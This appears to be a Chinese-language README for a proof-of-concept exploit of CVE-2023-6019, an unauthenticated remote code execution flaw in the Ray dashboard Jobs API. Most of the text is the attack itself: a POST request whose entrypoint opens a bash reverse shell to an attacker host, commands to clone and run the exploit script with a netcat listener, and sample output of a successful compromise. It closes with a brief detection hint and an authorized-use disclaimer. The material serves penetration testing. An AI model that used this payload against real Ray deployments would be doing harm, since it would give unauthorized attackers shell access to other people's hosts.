CVE-2023-6019 的 PoC 利用程序 — 通过未经认证的 Ray 仪表盘 Jobs API 实现远程代码执行。
由 oguiii 制作
Anyscale Ray 是一个用于分布式 ML/AI 工作负载的开源框架。版本 早于 2.6.4 通过 Ray 仪表盘(默认端口 8265)暴露了一个 Jobs 提交 API,没有任何身份验证,允许未认证的攻击者提交任意作业并在主机上实现远程代码执行。
/api/jobs/ 端点接受一个 JSON 负载,其中包含一个 entrypoint 字段,该字段会被 Ray 工作进程作为 shell 命令执行 — 无需凭证。
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
# 启动监听器
nc -lvnp 4444
# 运行利用程序
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
在 HTTP 日志或网络流量中查找针对端口 8265 上 /api/jobs/ 的意外 POST 请求。
此工具仅用于授权的渗透测试和教育目的。
作者不对因使用此工具而造成的任何滥用或损害负责。
始终在测试前获得适当的书面授权。
| 标志 | 描述 | 默认值 |
|---|
-t | 目标 IP 或主机名 | 必填 |
-p | Ray 仪表盘端口 | 8265 |
-l | 攻击者 IP (反弹 shell) | 必填 |
-lp | 攻击者端口 (反弹 shell) | 必填 |